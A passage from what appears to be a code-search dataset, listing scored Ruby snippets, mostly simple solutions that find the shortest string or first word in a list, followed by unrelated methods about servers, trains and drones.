"score": "0.7735731",
"text": "def shortest_string(list_of_words)\n shortest = list_of_words[0]\n array_number = 1\n while array_number < list_of_words.length\n \tif list_of_words[array_number].length < shortest.length\n \t\tshortest = list_of_words[array_number]\n \tend\n \tarray_number += 1\n end\n return shortest\nend",
"title": ""
},
{
"docid": "014c539847bad43aa606fb291ac90043",
"score": "0.77269447",
"text": "def shortest_string(list_of_words)\n # Your code goes here!\n return list_of_words[0].to_s if list_of_words.length == 1\n smallest_word(list_of_words)\n# until_loop(list_of_words)\n# for_loop(list_of_words)\n# smallest = list_of_words[0]\n# list_of_words.each do |word|\n# smallest = word if word.length < smallest.length\n# end\n# return smallest\nend",
"title": ""
},
{
"docid": "7d3cccbc70c8ec8273186252c9597bdd",
"score": "0.7720298",
"text": "def shortest_string(list_of_words)\n shortest = list_of_words[0]\n list_of_words.each do |i|\n \tif shortest.length <= i.length\n \t\tshortest = shortest\n \telse\n \t\tshortest = i\n \tend\n end\n p shortest\nend",
"title": ""
},
{
"docid": "f4074626beeea3cbbff2c35b5303a6ca",
"score": "0.77173954",
"text": "def shortest_string(list_of_words)\n length_of_words = {}\n list_of_words.each do |word|\n word_length = word.length\n length_of_words[word] = word_length\n end\n answer = length_of_words.min_by{|k,v| v}\n if answer == nil\n return nil\n else\n answer.first\n end\nend",
"title": ""
},
{
"docid": "f5418ec41bae2e01c7b16da6a125114f",
"score": "0.7715659",
"text": "def shortest_string(list_of_words)\n # Your code goes here!\n return nil if list_of_words.empty?\n\n shortest = list_of_words[0]\n i = 1\n while(i < list_of_words.length)\n \tshortest = list_of_words[i] if list_of_words[i].size < shortest.size\n \ti += 1\n end\n return shortest\nend",
"title": ""
},
{
"docid": "5630ccaa4657366a638dfa96bcb70e36",
"score": "0.7698632",
"text": "def shortest_string(list_of_words)\n\treturn list_of_words.min_by {|x| x.length }\nend",
"title": ""
},
{
"docid": "f0da82b9017e84e533899388b1b77702",
"score": "0.76935124",
"text": "def shortest_string(list_of_words)\n\tif list_of_words.empty?\n\t\treturn nil\n\telse p list_of_words.sort_by {|x| x.length}.shift\n\tend\nend",
"title": ""
},
{
"docid": "a683d96834d8c1a2282987f33b7f264d",
"score": "0.7676453",
"text": "def shortest_string(list_of_words)\n if list_of_words == []\n return nil\n end\n i = 0\n array_length = array_size(list_of_words)\n smallest_index = 0\n for i in 0..array_length - 1\n if string_length(list_of_words[smallest_index]) > string_length(list_of_words[i])\n smallest_index = i\n end\n end\n return list_of_words[smallest_index]\nend",
"title": ""
},
{
"docid": "f47a1ff3c7dfc84e6906600ec51e60e8",
"score": "0.76705104",
"text": "def shortest_string(list_of_words)\n\tif list_of_words==[]\n\t\treturn nil\n\telse\n\t\tshort_string=list_of_words[0]\n \t\tlist_of_words.each do |x|\n \t\t\tif x.length < short_string.length\n \t\t\t\tshort_string = x\n\t\t\tend\t\t\n\t\tend\n \t\treturn short_string\n \tend\nend",
"title": ""
},
{
"docid": "88b4c4fb4fbc55e9bbdd406844170320",
"score": "0.7601566",
"text": "def shortest_string(list_of_words)\n list_of_words.min_by(&:length)\nend",
"title": ""
},
{
"docid": "88b4c4fb4fbc55e9bbdd406844170320",
"score": "0.7601566",
"text": "def shortest_string(list_of_words)\n list_of_words.min_by(&:length)\nend",
"title": ""
},
{
"docid": "a225179b51a17d7bc2e4632e498dab0c",
"score": "0.7548566",
"text": "def find_short(s)\n # your code here\n the_1st_array = s.split(\" \")\n this_counts = []\n i = 0\n while i < the_1st_array.count\n this_counts.push(the_1st_array[i].length)\n i+=1\n end\n l = this_counts.min\n return l # l: length of the shortest word\nend",
"title": ""
},
{
"docid": "fa46f1862edf43b0060e14193ee8c56c",
"score": "0.75371814",
"text": "def shortest_string(list_of_words)\n list_of_words.min {|x,y| x.size <=> y.size}\nend",
"title": ""
},
{
"docid": "12b0c0066cbb19670d47c1cadb56d476",
"score": "0.75144124",
"text": "def shortest_string(list_of_words)\n\tif list_of_words == []\n\t\treturn nil\n\telsif list_of_words == [\" \"]\n\t\treturn \" \"\n\telse\n\t\tstring_length = []\n\t\tlist_of_words.each do |string|\n\t\t\t string_length.push string.length\n\t\tend\n\t\tlist_of_words.each do |string|\n\t\t\tif string_length.min == string.length\n\t\t\t\treturn string\n\t\t\tend\n\t\tend\n\n\tend\n\nend",
"title": ""
},
{
"docid": "41f70bba06a8cf2369dddb2cffa8dee6",
"score": "0.74960595",
"text": "def first_word(words)\n\twords.split(\" \")[0]\nend",
"title": ""
},
{
"docid": "1418cc459ec3c5391a937178691d362c",
"score": "0.74905074",
"text": "def shortest_string(list_of_words)\n list_of_words.min { |a, b| a.size <=> b.size }\nend",
"title": ""
},
{
"docid": "2ba367dab595bdbb480377e3aec6e9b4",
"score": "0.7464728",
"text": "def shortest_string(list_of_words)\n\treturn list_of_words.min{|a,b| a.size <=> b.size}\nend",
"title": ""
},
{
"docid": "d376c1d7216f309b2bf317fcc569a9aa",
"score": "0.744198",
"text": "def shortest_string(list_of_words)\n \n short_string = list_of_words[0]\n \n i = 0\n while i < list_of_words.length\n current_item = list_of_words[i]\n if current_item.length < short_string.length\n short_string = current_item\n end\n i = i + 1\n\n end\n short_string\nend",
"title": ""
},
{
"docid": "ddfd17cc75254b0f04b25547db712e76",
"score": "0.7414443",
"text": "def shortest_string(list_of_words)\n # PSEUDOCODE\n # return nil if list has no strings in it\n # I'm assuming the .length method is okay here, otherwise this problem would be a lot more tedious\n # Initialize initial shortest word as first word in array\n # Initialize initial shortest length as length of that word\n # FOR each word\n # IF word length is smaller than minimum\n # Set shortest word as that word\n # Set shortest length as word's length\n # Return minimum\n\n\n# INITIAL SOLUTION\n# return nil if list_of_words == []\n#\n# shortest = list_of_words[0]\n# min_length = shortest.length\n# list_of_words.each { |word|\n#\n# if word.length < min_length\n# shortest = word\n# min_length = word.length\n# end\n# }\n# return shortest\n\n #BUILT-IN SOLUTION\n\n return list_of_words.min { |a, b| a.length <=> b.length }\n\n\nend",
"title": ""
},
{
"docid": "cd328f89e765240114b529c6fc93abab",
"score": "0.7411029",
"text": "def shortest_string(list_of_words)\n # Your code goes here!\n list_of_words.sort! { |a , b| a.length <=> b.length }\n\t\treturn list_of_words[0]\nend",
"title": ""
},
{
"docid": "0203ca504eaf733c090bf27b44ef0485",
"score": "0.73935395",
"text": "def shortest_string(list_of_words)\r\n\tif list_of_words[0].nil?\r\n\t\treturn nil\r\n\telse\r\n\t\tstring_length = Hash.new\r\n\t\tsorted = Hash.new\r\n\t\tlist_of_words.each do |words|\r\n\t\t\tstring_length[words] = words.length\r\n\t\tend\r\n\t\tsorted = string_length.sort_by{|x, y| y}\r\n\t\treturn sorted.first.first\r\n\tend\r\nend",
"title": ""
},
{
"docid": "03453d4b0aa790aff775487ffcab549c",
"score": "0.7378873",
"text": "def smallest_word(array)\n smallest = array[0]\n array.each do |word|\n smallest = word if word.length < smallest.length\n end\n return smallest\nend",
"title": ""
},
{
"docid": "fbd933dbeaa7ef6ae6f8180194100ec8",
"score": "0.7329216",
"text": "def shortest_word_in_array(array)\n array.min_by{|word|word.length}\nend",
"title": ""
},
{
"docid": "bf91f2de5682b8938367a4b5b0987483",
"score": "0.7321555",
"text": "def first_word(s)\n\ta = s.split()\n\treturn a[0]\nend",
"title": ""
},
{
"docid": "04c93d1e548138ec5eb427de13bbcd9d",
"score": "0.7320999",
"text": "def first_word string\n string.split(' ')[0]\nend",
"title": ""
},
{
"docid": "94b99078dedcc214a942704ca69a1684",
"score": "0.7320799",
"text": "def find_short(s)\n return s.split(' ').min_by{|word| word.length}.length\nend",
"title": ""
},
{
"docid": "b9371311bf628a37c5b70de8d82b845d",
"score": "0.73203295",
"text": "def first_word(input)\n # Split string into array of words and select first entry\n input.split(\" \")[0]\nend",
"title": ""
},
{
"docid": "47058bcc9a9ed92ad4d2a144541203ed",
"score": "0.7313873",
"text": "def first_word(str); str.split.first end",
"title": ""
},
{
"docid": "b2fb0d4fcf42fc95e4ab896d33c88eeb",
"score": "0.7295011",
"text": "def shortest_string(list_of_words)\n\n#If presented with an array of mixed objects, maybe not all strings\n# strings = []\n# list_of_words.each do |i|\n# if i.is_a? String\n# strings.push(i)\n# end\n# end\n\n\n\n if list_of_words.length ==0\n return nil\n else\n i=0\n shorty = list_of_words[0]\n while i<list_of_words.length do\n if list_of_words[i].length <= shorty.length\n shorty = list_of_words[i]\n end\n i += 1\n end\n return shorty\n end\nend",
"title": ""
},
{
"docid": "d577288662221c679df5c194b2d0cd76",
"score": "0.72939754",
"text": "def find_short(s)\n return s.split(\" \").map { |word| word.length }.min\nend",
"title": ""
},
{
"docid": "4d6255a68d6256c0126295437cb9cdbd",
"score": "0.72804976",
"text": "def best_next_word(set, goal)\n set.to_a[0]\n end",
"title": ""
},
{
"docid": "79ddfa9148a451241da169432ae9b25d",
"score": "0.72720075",
"text": "def first_word(string)\n\tstring.split(\" \")[0]\nend",
"title": ""
},
{
"docid": "85760444a23f3a4e3d7c74b92f2e6f7b",
"score": "0.7252441",
"text": "def first_word(word)\n\treturn \"#{word}\".split.first ###### divise le premier element du reste de la chaine\nend",
"title": ""
},
{
"docid": "296eeea30e8b2b1b184d02b0a6cada2d",
"score": "0.7245082",
"text": "def find_shortest_words(str)\n words = str.downcase.split(/[^a-z0-9]/)\n words = words.sort_by {|word| word.size}\n shortest = []\n\n words = words.select {|word| word.size > 0}\n\n size = words[0].size\n words.each do |word|\n break if word.size > size\n shortest << word\n end\n shortest.sort\nend",
"title": ""
},
{
"docid": "69322e1fef6fc6903ca098778d59b09c",
"score": "0.72449356",
"text": "def first_word(word)\n\treturn word.split[0]\nend",
"title": ""
},
{
"docid": "1798d2f593dc3d7f571187d5ed4b77d4",
"score": "0.7243459",
"text": "def shortest_string(list_of_words)\n\tmethod = 1\n\tcase method\n\twhen 1\n\t\tlist_of_words.min_by {|x| x.size} #The easy way\n\twhen 2\n\t\tshortest = list_of_words[0]\n \t\tlist_of_words.each do |element|\n \t\t\tshortest = element if element.size < shortest.size\n \t\tend\n \t\treturn shortest\n \twhen 3\n \t\tshortest = list_of_words[0]\n \t\tfor element in list_of_words\n \t\t\tshortest = element if element.size < shortest.size\n \t\tend\n \t\treturn shortest\n \tend\nend",
"title": ""
},
{
"docid": "887fe3f8502f606fe0287c52fdd7a37b",
"score": "0.7211736",
"text": "def for_fs_sake(string)\n words = string.split\n min_f_distance = nil\n min_f_word = \"\"\n\n words.each do |word|\n current_f_distance = find_f_distance(word)\n if current_f_distance && (min_f_distance.nil? || current_f_distance < min_f_distance)\n min_f_distance = current_f_distance\n min_f_word = word\n end\n end\n\n min_f_word\nend",
"title": ""
},
{
"docid": "2a114745174a24f6ddbffbe9877eeb2f",
"score": "0.71832234",
"text": "def first_word(word)\n words = word.split(\" \")\n words[0]\nend",
"title": ""
},
{
"docid": "b2906baf865bdbcafadf987ff400f135",
"score": "0.7168188",
"text": "def shortest_string(list_of_words)\n\n return nil if list_of_words.length == 0\n return \" \" if list_of_words.length == 1 && list_of_words[0] == \" \"\n return list_of_words[0] if list_of_words.length == 1\n\n test_word = list_of_words.pop\n not_it = []\n solution = []\n list_of_words.each do |word|\n if word.length < test_word.length\n not_it << test_word\n test_word = word\n else\n not_it << word\n end\n end\n\n solution.push test_word\n return solution[0]\n\n #------SOLUTION WITH sort_by METHOD:\n\n # new_list = list_of_words.sort_by {|x| x.length}\n # return new_list[0]\n\nend",
"title": ""
},
{
"docid": "9efb0f4076bb85b859e60f5c62137a20",
"score": "0.715979",
"text": "def least_frequent_word(str)\n words = str.split\n frequency = words.length\n min_word = \"\"\n\n words.each_with_index do |word, idx|\n if words.count(word) < frequency\n frequency = words.count(word)\n min_word = words[idx]\n end\n end\n min_word\nend",
"title": ""
},
{
"docid": "17aacd0a6a8ca30815ec697ff832416b",
"score": "0.7158034",
"text": "def first_word (phrase)\n morceaux = phrase.split\n return morceaux[0]\nend",
"title": ""
},
{
"docid": "a6eb0f565938d1c910d79a1b950d4f02",
"score": "0.7120687",
"text": "def get_the_shortest_word(str)\n words = str.split()\n return words.max\nend",
"title": ""
},
{
"docid": "14cc7a6f597209cc4911799ff7fe6a27",
"score": "0.7119927",
"text": "def first_word (a)\n\t return a.split[0]\nend",
"title": ""
},
{
"docid": "1d330b80c2b147bb2987b8d0cd987353",
"score": "0.709477",
"text": "def shortest(word1, word2)\n ans = @M\n for i in @d[word1]\n for j in @d[word2]\n ans = [ans, (i-j).abs].min\n end\n end\n return ans\n end",
"title": ""
},
{
"docid": "108cf11443a7a59d0cb08854627e2f5a",
"score": "0.709365",
"text": "def first_word(text)\n text.split.first\nend",
"title": ""
},
{
"docid": "7d66f263992f3995f14b688764f54c65",
"score": "0.70722383",
"text": "def first_word(string)\n\twords = string.split(\" \")\n\treturn words[0]\nend",
"title": ""
},
{
"docid": "63948066ad0d3941125e2a3230dd0688",
"score": "0.70618564",
"text": "def first_wa(array)\n\n array.each do |word|\n temp = word.to_s\n return temp if temp.start_with?(\"wa\")\n end\n\nend",
"title": ""
},
{
"docid": "7c838f9674937440cc92281e7de57eca",
"score": "0.70517147",
"text": "def first_word\r\n text =~ /^.*?\\S.*?/\r\n $&\r\n end",
"title": ""
},
{
"docid": "6d99c335edd5036edb80e53b05cb4a09",
"score": "0.70407104",
"text": "def first_word str\n arr = str.split(' ')\n arr[0]\nend",
"title": ""
},
{
"docid": "83cad083433cd69d0d7a4503db441168",
"score": "0.7038828",
"text": "def shortest_string(list)\n\tshortest = list.first\n\tlist.each do |current_str|\n\t\tif current_str.length < shortest.length\n\t\t\tshortest = current_str\n\t\tend\n\tend\n\n\tshortest\nend",
"title": ""
},
{
"docid": "fdfd4fe94706b035e3d2e6960bc55a62",
"score": "0.7033945",
"text": "def shortest_word_in_array(array)\n\tn = %w(here is a bunch of words of different lengths)\n\tsorted = n.sort_by! { | word | word.length }\n\tsorted.first\nend",
"title": ""
},
{
"docid": "2193fd8157196415620bb9bfcc16eb2f",
"score": "0.70322853",
"text": "def first_word(text)\n\treturn text.split.first\nend",
"title": ""
},
{
"docid": "d9ced1e7ec68b9deec120376d4d26e65",
"score": "0.702471",
"text": "def shortest_word_in_array(array)\n array.min{ | x, y | x.length <=> y.length }\nend",
"title": ""
},
{
"docid": "113d16cccece2b56bfc1a927477859de",
"score": "0.69853425",
"text": "def first_word(sentence)\n\t\tsentence.split[0]\nend",
"title": ""
},
{
"docid": "9536235026551b61e408588d3923374e",
"score": "0.698488",
"text": "def first_word(a)\n\t\ta = a.split[0]\n\tend",
"title": ""
},
{
"docid": "a0cb5f72921bdd3c52237692ce3ec0f1",
"score": "0.6977688",
"text": "def find_short(s)\n s.split(' ').map{|e|e.length}.min\nend",
"title": ""
},
{
"docid": "fa368b3a34bd97e4cc63eb82678b2c44",
"score": "0.69753253",
"text": "def first_word(sentence)\n\tsentence.split(\" \").first\nend",
"title": ""
},
{
"docid": "572353615b45d16b80f2b7b471778ed5",
"score": "0.6973097",
"text": "def first_word (s)\n # On mets tout les mots dans un tableau et on revoie le contenue le la première case du tableau\n s.split.first\nend",
"title": ""
},
{
"docid": "d665a677e18883926dfca0561b05e936",
"score": "0.6971491",
"text": "def shortest_string(list)\n # This is your job. :)\n shortest_so_far = list.first\n list.each do |item|\n if item.length < shortest_so_far.length\n shortest_so_far = item\n end\n end\n return shortest_so_far\nend",
"title": ""
},
{
"docid": "c5b05475e9818974c359d475d0692e84",
"score": "0.694894",
"text": "def first_word(string)\n\treturn string.split.first \nend",
"title": ""
},
{
"docid": "6f1d277c4c06702724c4d82dfa21b119",
"score": "0.6938751",
"text": "def shortest_string(list_of_words)\n\tshortest_string.each {|x1| x1.length}\n\t\tshortest_string.each {|x2| x2.length.to_i} #iterrates over each string in array, counts the string's length \n\t\tif shortest_string|x1.length| > shortest_string|x2.length| #compares the 2 pulled string lenghts\n\t\t\tshortest_string|x1| , shortest_string|x2| = shortest_string|x2| > shortest_string|x1| #keeps putting the smallest one to the front\n\t\tend\n\t\treturn shortest_string[0] #returns the first stirng in the array which should be the smallest one\nend\n\n# was getting some errors I could not resolve in order to get this to run. ",
"title": ""
},
{
"docid": "556b6d2fd940e84930b6ac56fb418e17",
"score": "0.6923095",
"text": "def least_common_word\n sz = word_counts.size\n if sz > 0\n sort_word_counts\n word_counts.to_a[sz-1]\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "e9c356eb6cb3b24276ce089accfbe28c",
"score": "0.69132024",
"text": "def shortest(word1, word2)\n word1_indices = @hash[word1]\n word2_indices = @hash[word2]\n\n dis = @size\n i, j = 0, 0\n while word1_indices[i] && word2_indices[j]\n dis = [dis, (word1_indices[i] - word2_indices[j]).abs].min\n if word1_indices[i] < word2_indices[j]\n i += 1\n else\n j += 1\n end\n end\n\n return dis\n end",
"title": ""
},
{
"docid": "8f634ccdd0296c0a2704a6a3203f2bfe",
"score": "0.6906949",
"text": "def start_of_word(a, b)\n return a.chars.first(b).join\nend",
"title": ""
},
{
"docid": "a7d84ca6bc772ddbffddacf5af2c3b44",
"score": "0.6901957",
"text": "def first_wa (array)\n\tarray.find {|word| word.match(/^wa/)}\nend",
"title": ""
},
{
"docid": "3a55bb6ff371dc047487e6f87a2475a9",
"score": "0.6900809",
"text": "def shortest_word_in_array(array)\n # check each element of array\n # if the shortest, update the shortest word\n shortest_word = array[0]\n array.each {|word|\n shortest_word = word if shortest_word.size>word.size\n }\n shortest_word\nend",
"title": ""
},
{
"docid": "5941b98f2805b0dc923298dce2c6d3c0",
"score": "0.689321",
"text": "def start_of_word(a)\n return a.chars.first.join\nend",
"title": ""
},
{
"docid": "99265bc444838fae780d1fa3b97a80de",
"score": "0.6862597",
"text": "def first_word(str)\n\treturn str.split[0]\nend",
"title": ""
},
{
"docid": "112a7731a77b99b96655718d69125b37",
"score": "0.6838092",
"text": "def shortest_string(list)\n shortest_so_far = list.first\n list.each do |item|\n if shortest_so_far.length > item.length\n shortest_so_far = item\n end\n end\n shortest_so_far\nend",
"title": ""
},
{
"docid": "2fcf7db89cd236b166ce3daf617bb042",
"score": "0.6813466",
"text": "def first_wa (array)\n array.find { |word| word[0..1] == \"wa\" }\nend",
"title": ""
},
{
"docid": "17e1509cbb50d08c195876eefded2849",
"score": "0.68131036",
"text": "def for_cs_sake(string)\n words = string.delete(\"!.,?;:\").split(\" \")\n words = words.select { |word| word.include?(\"c\") }\n c_distances = []\n words.each do |word|\n c_distances << find_c_distance(word)\n end\n c_distances\n lowest_c_distance = c_distances.min\n p words.select { |word| find_c_distance(word) == lowest_c_distance }[0]\nend",
"title": ""
},
{
"docid": "06c6078c22a93b3794359d91f4695816",
"score": "0.6807113",
"text": "def shortest_word_in_array(array)\n array.min_by(&:length)\n # array.min_by { |x| x.length }\nend",
"title": ""
},
{
"docid": "f40f1e087037d50d0550e211c54f451c",
"score": "0.6778592",
"text": "def first_wa(array)\n output = \"\"\n array.each do |word|\n if word[0..1].to_s == \"wa\"\n output = word\n break\n end\n end\n output\nend",
"title": ""
},
{
"docid": "597bfe53ff6bb0e2f03838d72880b303",
"score": "0.6755161",
"text": "def just_first\n first.split(' ')[0]\n end",
"title": ""
},
{
"docid": "ec4a3a2b1ca387a016b426cac616aca7",
"score": "0.6720586",
"text": "def longest_prefix(strings)\n return \"\" if strings.empty?\n prefix = \"\"\n smallest_word = strings.min_by { |word| word.length } # start with smallest word\n for i in 0..smallest_word.length-1\n if strings.all? { |word| word[i] == smallest_word[i] } # if the index matches the same index of the other words\n prefix += smallest_word[i] # then append the index value to the prefix\n else\n break # otherwise index is not in all words, so stop\n end\n end\n return prefix\nend",
"title": ""
},
{
"docid": "86f7c96d828ca8d354e32fe2ffa57b52",
"score": "0.67181766",
"text": "def first_word(str)\n str.split[0]\nend",
"title": ""
},
{
"docid": "2ecf43216b10d144e62568bae3046248",
"score": "0.67166036",
"text": "def common_prefix(words)\n smallest_string= words.min_by{|word| word.size}\n\n result = \"\"\n\n smallest_string.chars.each_with_index do |current_char, current_index|\n if words.all?{|word| word[current_index] == current_char}\n result << current_char\n else\n return result\n end\n end\n result\nend",
"title": ""
},
{
"docid": "83690b91a5e28b7c88ac4e8d6cea914b",
"score": "0.67081547",
"text": "def first_wa(arrays)\narrays.find_index { |word| if (word.to_s.include? (\"wa\"))\n return word\n break\nend\n}\nend",
"title": ""
},
{
"docid": "bce04b9074eb1f5baa35c51f23e56c26",
"score": "0.6671738",
"text": "def first_word(word)\n val = []\n #.split coupe les chaine de caractere sur l'espace\n #<< ajout la valeur dans la variable\n val << word.split[0]\n return val[0]\nend",
"title": ""
}
] |
ba6b32079abf479f792c38bb7014c322
|
Moves the server to another region. This will cause a voice interruption of at most a second.
|
[
{
"docid": "c454a81d7b978c4eec8802c090c99233",
"score": "0.0",
"text": "def region=(region)\n update_server_data(region: region.to_s)\n end",
"title": ""
}
] |
[
{
"docid": "38d73ca58c9539095f32d0259cb6dce2",
"score": "0.5742579",
"text": "def switch_to\n Esi::Client.current = self\n end",
"title": ""
},
{
"docid": "872675ae5b43026acb73d4157ae32d78",
"score": "0.54521227",
"text": "def turn\r\n place = current_player.select_place(self)\r\n move(place)\r\n end",
"title": ""
},
{
"docid": "ecefcd17a80d5d715d8f1d37564b3c88",
"score": "0.521301",
"text": "def party_transition()\n # Teleports to the party location\n $game_player.reserve_transfer($game_party.map_id, $game_party.player_x, \n $game_party.player_y, $game_party.player_direction)\n update_transfer_player()\n end",
"title": ""
},
{
"docid": "ecefcd17a80d5d715d8f1d37564b3c88",
"score": "0.521301",
"text": "def party_transition()\n # Teleports to the party location\n $game_player.reserve_transfer($game_party.map_id, $game_party.player_x, \n $game_party.player_y, $game_party.player_direction)\n update_transfer_player()\n end",
"title": ""
},
{
"docid": "7c602c4e362ec81038128b35740bbf4f",
"score": "0.51901746",
"text": "def move\n @route.stations[@index_current_station].set_train(self)\n @route.stations[@index_current_station - 1].send_train(self)\n end",
"title": ""
},
{
"docid": "7c602c4e362ec81038128b35740bbf4f",
"score": "0.51901746",
"text": "def move\n @route.stations[@index_current_station].set_train(self)\n @route.stations[@index_current_station - 1].send_train(self)\n end",
"title": ""
},
{
"docid": "fd95c504fcf0c36b81be687678c14b58",
"score": "0.5140138",
"text": "def move(to_path)\n self.cloud_api.move(self, to_path)\n end",
"title": ""
},
{
"docid": "17c60d8ed3b315c6fe8f971b031e6718",
"score": "0.508484",
"text": "def go_to_previous_station\n @current_station.send_train self\n @current_station = previous_station\n @current_station.accept_train self\n end",
"title": ""
},
{
"docid": "f701d94f5dace7536a88ba0dc0beed43",
"score": "0.50691855",
"text": "def sever(direction)\n opposite = OPPOSITES[direction]\n old_room = send(direction)\n \n old_room.update_attributes(opposite => nil) if old_room\n update_attributes(direction => nil)\n end",
"title": ""
},
{
"docid": "a9e505a864d91e75a6db8492f9d8d3eb",
"score": "0.5051151",
"text": "def move_to(location)\n @options[:location] = location\n\n self.recreate!\n end",
"title": ""
},
{
"docid": "d118acfcdfa7c89c1c80699b8434f9fa",
"score": "0.5036124",
"text": "def disconnect\n\t\t@moving = false\n\t\t@unit.set_velocity(Vec.new(0,0))\n\t\t@env.respond(Cancelled.new) { @env = nil }\n\tend",
"title": ""
},
{
"docid": "1c27b92a9a690be85f2617617f8b608f",
"score": "0.5026071",
"text": "def move_to_region(position_provider, location)\n logger.info 'Getting current position state...'\n self.original_position = position_provider.state\n\n dst_x = location.x - VISIBILITY_OFFSET\n dst_y = location.y - VISIBILITY_OFFSET\n\n dst_x = 0 if dst_x < 0\n dst_y = 0 if dst_y < 0\n\n logger.info \"Done! Setting position to #{location}...\"\n\n position_provider.position = Applitools::Location.new(dst_x, dst_y)\n logger.info 'Done!'\n end",
"title": ""
},
{
"docid": "009d15e834c8cb583f5b1f182b01b7c8",
"score": "0.5024977",
"text": "def move_station(next_station_index)\n @route.stations[@cur_station_index].send_train(self)\n @route.stations[next_station_index].pass_train(self)\n @cur_station_index = next_station_index\n end",
"title": ""
},
{
"docid": "a3d2b838f62f57bc490ec98e8517f558",
"score": "0.49935907",
"text": "def go_to_destination(destination)\n transit\n sleep(3)\n puts \"\\n\\nThe drone: #{@name} has reached the destination: #{destination.name} at: #{destination.address}.\".cyan\n end",
"title": ""
},
{
"docid": "3abdcddfc82209c59c9fc5bb7682501b",
"score": "0.4991328",
"text": "def failover(location)\n if @current_call.isActive\n @current_call.answer\n if location\n begin\n @current_call.transfer location\n rescue => e\n show 'Unable to transfer to your next_sip_uri location', e\n end\n else\n @current_call.say error_message, :voice => @tropo_voice\n @current_call.hangup\n end\n end\n end",
"title": ""
},
{
"docid": "7192d3f60a85106f75780f3f68b6f7c9",
"score": "0.49849355",
"text": "def disconnect\n ardrone.land\n ardrone.stop\n super\n end",
"title": ""
},
{
"docid": "3202889418df919335381bc8753d7f51",
"score": "0.49762985",
"text": "def transfer other_client\n MtGox.withdraw! @options[:volume], other_client.address\n end",
"title": ""
},
{
"docid": "38c049738b10cdb52538a79163c3a69a",
"score": "0.4956967",
"text": "def move_to_right_side_of_river\n puts \"I am now on the right side of the river.\"\n begin_moving_right_to_left\n end",
"title": ""
},
{
"docid": "8bda471d25ab6f6d7687f2f87d8cbbbd",
"score": "0.49508977",
"text": "def move(_source, _destination)\n end",
"title": ""
},
{
"docid": "96d9de7ebad762f060ea6404dbf3528e",
"score": "0.49126437",
"text": "def move(new_location)\n # Todo: Throw a custom Exception\n return false unless location.is_connected(new_location)\n @location = new_location\n\n true\n end",
"title": ""
},
{
"docid": "a18bc61c6b16ab324b9e588f978b7508",
"score": "0.4903689",
"text": "def move!(direction)\n # puts \"--- sending move update for #{@hero_id}: in #{direction} from #{hero.x}, #{hero.y} at #{Time.now}\"\n # @socket.send({type: 'move', \n transmit 'move', id: @hero_id, direction: humanize_direction(direction)\n end",
"title": ""
},
{
"docid": "6634a24341bde46400207128774a5c61",
"score": "0.4896937",
"text": "def migrate\n raise 'Turns left is invalid!' unless turns_left >= 0\n\n @turns_left = @turns_left.zero? ? 0 : turns_left - 1\n return if @turns_left.zero?\n\n new_location = @location.random_neighbor?\n puts \"Heading from #{@location.name} to #{new_location.name}.\"\n @location = new_location\n end",
"title": ""
},
{
"docid": "bef76eb9ef4b5e491bf83dbcd9b8285c",
"score": "0.4886388",
"text": "def go_to_next_station\n @current_station.send_train self\n @current_station = next_station\n @current_station.accept_train self\n end",
"title": ""
},
{
"docid": "b60ad199f6642fdfdf880c88b3a994f7",
"score": "0.4865559",
"text": "def move(destination)\n\t\tputs \"Running to the #{destination}\"\n\tend",
"title": ""
},
{
"docid": "4e22ce58e7ac7d0284ca48d4c36f2b10",
"score": "0.4858655",
"text": "def move(to_state)\n if Thread.current != self.driver.thread\n # called from outside Driver\n \n # send an async message to Driver\n self.driver.message(:move, [to_state])\n else\n # called from within Driver\n \n # record original info\n orig_to_state = to_state\n from_state = self.state\n \n # log\n msg = \"#{self.name} move '#{from_state}' to '#{to_state}'\"\n applog(self, :info, msg)\n \n # cleanup from current state\n self.driver.clear_events\n self.metrics[from_state].each { |m| m.disable }\n if to_state == :unmonitored\n self.metrics[nil].each { |m| m.disable }\n end\n \n # perform action\n self.action(to_state)\n \n # enable simple mode\n if [:start, :restart].include?(to_state) && self.metrics[to_state].empty?\n to_state = :up\n end\n \n # move to new state\n self.metrics[to_state].each { |m| m.enable }\n \n # if no from state, enable lifecycle metric\n if from_state == :unmonitored\n self.metrics[nil].each { |m| m.enable }\n end\n \n # set state\n self.state = to_state\n \n # broadcast to interested TriggerConditions\n Trigger.broadcast(self, :state_change, [from_state, orig_to_state])\n \n # log\n msg = \"#{self.name} moved '#{from_state}' to '#{to_state}'\"\n applog(self, :info, msg)\n end\n \n self\n end",
"title": ""
},
{
"docid": "5f0e6400dca9116f632e6986e7096087",
"score": "0.48565492",
"text": "def move\n debug 'guessing hacker1'\n @sock.write \"\\000\"\n @last_move = {:chosen => @hacker_id1, :not_chosen => @hacker_id2}\n end",
"title": ""
},
{
"docid": "ce53524a84cc6533d87814ebf5b26010",
"score": "0.4852396",
"text": "def smove(source, destination, member)\n send_command([:smove, source, destination, member], &Boolify)\n end",
"title": ""
},
{
"docid": "aff1ae3a4c3bf50f1aeed06cdd15b61c",
"score": "0.48466998",
"text": "def replace_route destination_cidr_block, options = {}\n client.replace_route(route_options(destination_cidr_block, options))\n nil\n end",
"title": ""
},
{
"docid": "2b181e5d7a8c14e1f943fa67088cd449",
"score": "0.4842916",
"text": "def teleport!( target )\n persister.current_state=( machine.states[target] )\n end",
"title": ""
},
{
"docid": "b87bb80889726214b76f6e5991e34fd8",
"score": "0.4842407",
"text": "def move(station_id1, station_id2, minutes)\n\t\taction = [\"MOVE\", @bus_id, station_id1, station_id2, minutes]\n\t\t@path.push(action)\n\tend",
"title": ""
},
{
"docid": "dd2ed8751a376e08949cda2e16a74a25",
"score": "0.48318547",
"text": "def revert_region(map_id, layer, rid)\n\t\tinitialize_region_list(map_id, layer)\n\t\t@swapped_region_tiles[map_id][layer].delete_at(rid)\n\t\t$game_map.reload_map\n\tend",
"title": ""
},
{
"docid": "6a69dd794e8a413a61f2c25039c9d3d1",
"score": "0.4831597",
"text": "def turn_off_zone(zone=1)\n send_code(\"40#{module_address_for_zone(zone)}4#{zone}\")\n end",
"title": ""
},
{
"docid": "3a89db1870be2593d1cddf4fdd8b112c",
"score": "0.48239934",
"text": "def move_to *args\n previous_position = get_position.dup\n super\n return unless (@solids_manager)\n @solids_manager.reset_object self, get_solid_tags if (@position != previous_position)\n end",
"title": ""
},
{
"docid": "3721f29910754300191b99a5f642596d",
"score": "0.48187464",
"text": "def move\n raise StateTransitionError.new(@state, :transit) unless @state == :active\n @state = :transit\n end",
"title": ""
},
{
"docid": "897bea59eb6c6749f767cfb670f10d8a",
"score": "0.48169526",
